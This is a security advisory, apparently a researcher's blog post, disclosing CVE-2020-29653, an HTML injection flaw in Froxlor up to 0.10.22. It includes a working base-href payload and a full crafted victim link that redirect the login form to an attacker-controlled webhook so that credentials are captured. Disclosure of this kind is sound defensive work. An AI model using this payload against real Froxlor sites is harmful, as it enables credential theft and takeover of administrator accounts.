MARCH 16, 2022

CVE-2020-29653 – Froxlor HTML Injection dangling markup

Froxlor instances <= 0.10.22 do not perform validation on user-input passed in the customermail GET parameter. More specifically, the value of this parameter is reflected unsanitized in the response webpage.

Description

Froxlor instances <= 0.10.22 do not perform validation on user-input passed in the `customermail GET` parameter. More specifically, the value of this parameter is reflected unsanitized in the response webpage.

As a consequence, it was possible to inject arbitrary HTML inside the webpage.

Exploitation

- Create a webhook online or use a server you control (For my test, I created a webhook on beeceptor.com).
- Use the following payload for the `customermail GET` parameter: `%3Cbase href="https://[WEBHOOK]"%3E`

The payload changes the default base URL to one of your webhook. In this way, the form already present on the webpage, when submitted by a user, will send data to `https://[WEBHOOK]` .

The full crafted link to send to a victim user would have been:
https://[FROXLOR]/index.php?showmessage=4&customermail=%3Cbase%20href=%22https://%5BWEBHOOK%5D%22%3E

Click on that link and simulate a login. The credentials will be sent to the webhook instead of the original index.php endpoint used for the real login.

Impact

Once you get a victim to click a malicious link or visit a custom webpage, the vulnerability could allow an attacker to steal credentials of other users registered on the Froxlor application. With this sensitive information in hand, the attacker can impersonate other users (such as admins) and potentially access the Froxlor administration panel.

Remediation

Froxlor instance > 0.10.22 partially mitigates the vulnerability by introducing XSS protection using AntiXSS. However, the issue is still present in part, as it is still possible to inject arbitrary tags inside the HTML web page. Probably this could be exploited in some other ways (e.g. using script gadgets inside imported JS libraries). This would be something worth investigating further.

Credits

Valerio Brussani (valbrux) – NoZero